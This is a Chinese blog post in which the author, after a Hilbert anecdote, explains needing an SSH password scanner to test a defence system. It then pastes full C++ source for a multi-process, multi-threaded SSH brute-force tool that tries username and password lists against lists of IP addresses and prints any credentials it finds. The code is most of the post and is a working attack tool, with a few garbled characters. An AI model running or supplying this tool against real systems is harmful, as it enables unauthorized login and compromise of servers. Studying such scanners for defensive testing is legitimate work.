很久以前有个人给了我一本小书名字是《heroes in my heart》,其中有一段是讲数学希尔伯特的。“一次在 Hilbert 的讨论班上,一个年轻人报告,其中用了一个很漂亮的定理,Hilbert 说:‘这真是一个妙不可言(wunderbaschon)的定理呀,是谁发现的?’那个年轻人茫然的站了很久,对 Hilbert 说:‘是你……’”
不是很久之前,我测试一个自动防御系统,需要进行ssh密码扫描。试了medusa和ncrack,悲剧的是在我的环境下都不够稳定。无意中发现坐对面的同事在用一个小巧的程序做测试,跑得还行,于是我说不错啊,这程序哪儿搞的。他看了一下代码,说”你写的“,于是我让他把代码发给我。最近一段时间一直没有更新博客,不是没有写的,而是可写的太多反而不知道写什么好,而且有些东西也不方便写出来。干脆贴一个老代码,滥竽充数吧。
/* it's not a cracker, but scanner. version 0.1, code by yunshu(wustyunshu@hotmail.com) 2010-09-08 you should install botan and net7ssh first, complie with "gcc sshscan.cpp -lnet7ssh -lbotan -o sshscan" be sure the ssh port is open, it will not detect service when it is scanning. */
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <pthread.h>
#include <ne7ssh.h>
#define MAX_HOST 10
#define MAX_CONNECTION 5
#define USER_NAME "%USERNAME%"
typedef struct
{
char target[512];
int cracked;
FILE *user_fd;
char pwd_file[512];
pthread_mutex_t mutex;
}ScanArgument;
ne7ssh *ssh;
void Usage( char *str )
{
printf( "%s <ip_list> <user_list> <pwd_list>\n", str );
}
// copy from internet
char *
StringReplace(char *str, char *old, char *new_str) {
int i, count = 0;
int newlen = strlen(new_str);
int oldlen = strlen(old);
for (i = 0; str[i]; ++i)
if (strstr(&str[i], old) == &str[i])
++count, i += oldlen - 1;
char *ret = (char *) calloc(i + 1 + count * (newlen - oldlen), sizeof(char));
if (!ret) return NULL;
i = 0;
while (*str)
if (strstr(str, old) == str)
strcpy(&ret[i], new_str),
i += newlen,
str += oldlen;
else
ret[i++] = *str++;
ret[i] = ' ';
return ret;
}
void *CrackPwd( void *_arg )
{
ScanArgument *arg = (ScanArgument *)_arg;
char user[256] = { 0 };
char tmp[256] = { 0 };
char pwd[256] = { 0 };
int cracked = 0;
FILE *pwd_fd = fopen(arg->pwd_file, "r");
while( 1 )
{
// all users done, this thread will exit.
pthread_mutex_lock( &arg->mutex );
if( feof(arg->user_fd) )
{
pthread_mutex_unlock( &arg->mutex );
break;
}
// read username
memset( user, 0, sizeof(user) );
fgets( user, sizeof(user)-1, arg->user_fd );
cracked = 0;
pthread_mutex_unlock( &arg->mutex );
// skip blank line
while( user[strlen(user)-1] == '\r' || user[strlen(user)-1] == '\n' )
{
user[strlen(user)-1] = ' ';
}
if( strlen(user) < 1 )
{
continue;
}
//printf("test username:%s\n", user);
//rewind(pwd_fd);
while( !feof(pwd_fd) )
{
if( cracked == 1 )
{
//printf( "[found], try next user name.\n" );
break;
}
memset( tmp, 0, sizeof(tmp) );
fgets( tmp, sizeof(tmp)-1, pwd_fd );
//printf("test tmp:%s\n", tmp);
while( tmp[strlen(tmp)-1] == '\r' || tmp[strlen(tmp)-1] == '\n' )
{
tmp[strlen(tmp)-1] = ' ';
}
if( strlen(tmp) < 1 )
{
continue;
}
memset(pwd, 0, sizeof(pwd) );
strncpy( pwd, StringReplace(tmp, USER_NAME, user), sizeof(pwd)-1 );
//printf( "<test> %s %s/%s\n", arg->target, user, pwd );
int channel = ssh->connectWithPassword ( arg->target, 22, user, pwd, false, 4 );
if (channel >= 0)
{
ssh->close(channel);
printf( "[found] %s %s/%s\n", arg->target, user, pwd );
cracked = 1;
}
}
}
fclose(pwd_fd);
return NULL;
}
void ProcessHost( char *host, char *user_file, char *pwd_file )
{
int index;
ScanArgument arg;
pthread_t workers[MAX_CONNECTION];
arg.user_fd = fopen(user_file, "r");
strncpy( arg.pwd_file, pwd_file, sizeof(arg.pwd_file)-1 );
strncpy( arg.target, host, sizeof(arg.target)-1 );
pthread_mutex_init( &arg.mutex, NULL);
arg.cracked = 0;
//printf("processing %s\n", host);
for( index = 0; index < MAX_CONNECTION; index ++ )
{
pthread_create( &workers[index], NULL, CrackPwd, (void *)&arg );
}
for( index = 0; index < MAX_CONNECTION; index ++ )
{
pthread_join( workers[index], NULL );
}
fclose(arg.user_fd);
//printf("all thread exit.\n");
}
void ProcessHostList( FILE *host_fd, char *user_file, char *pwd_file, int *current_host )
{
int pid = 0;
char host[512] = { 0 };
memset( (void *)host, 0, sizeof(host) );
fgets(host, sizeof(host) - 1, host_fd );
while( host[strlen(host)-1] == '\r' || host[strlen(host)-1] == '\n' )
{
host[strlen(host)-1] = ' ';
}
if( host[0] == '\r' || host[0] == '\n' || strlen(host) < 4)
{
return;
}
pid = fork();
if( pid < 0 )
{
perror( "fork error for." );
return;
}
if( pid == 0 )
{
ProcessHost( host, user_file, pwd_file );
//printf( "exit one.\n" );
exit( 0 );
}
else
{
(*current_host) ++;
}
}
int main(int argc,char *argv[])
{
FILE *host_fd;
int current_host = 0;
if( argc != 4 )
{
Usage( argv[0] );
return -1;
}
// open all files
host_fd = fopen( argv[1], "r" );
if( NULL == host_fd )
{
perror( "open ip list error." );
return -1;
}
// init ssh library
ssh = new ne7ssh();
// create enough child frist.
while( current_host < MAX_HOST )
{
//printf( "now %d hosts.\n", current_host );
// all host done(when the totle number of hosts is less than MAX_HOSTS)
if( feof(host_fd) )
{
//printf( "feof.\n" );
break;
}
// process new host
ProcessHostList( host_fd, argv[2], argv[3], ¤t_host );
}
while ( wait(NULL) > 0 )
{
//printf( "we can get new.\n" );
// all host done, wait all child exit.
if( feof(host_fd) )
{
//printf( "wait to quit.\n" );
current_host --;
sleep( 2 );
continue;
}
// process new host
ProcessHostList( host_fd, argv[2], argv[3], ¤t_host );
}
// clean up
fclose( host_fd );
delete ssh;
printf( "All done.\n" );
return 0;
} |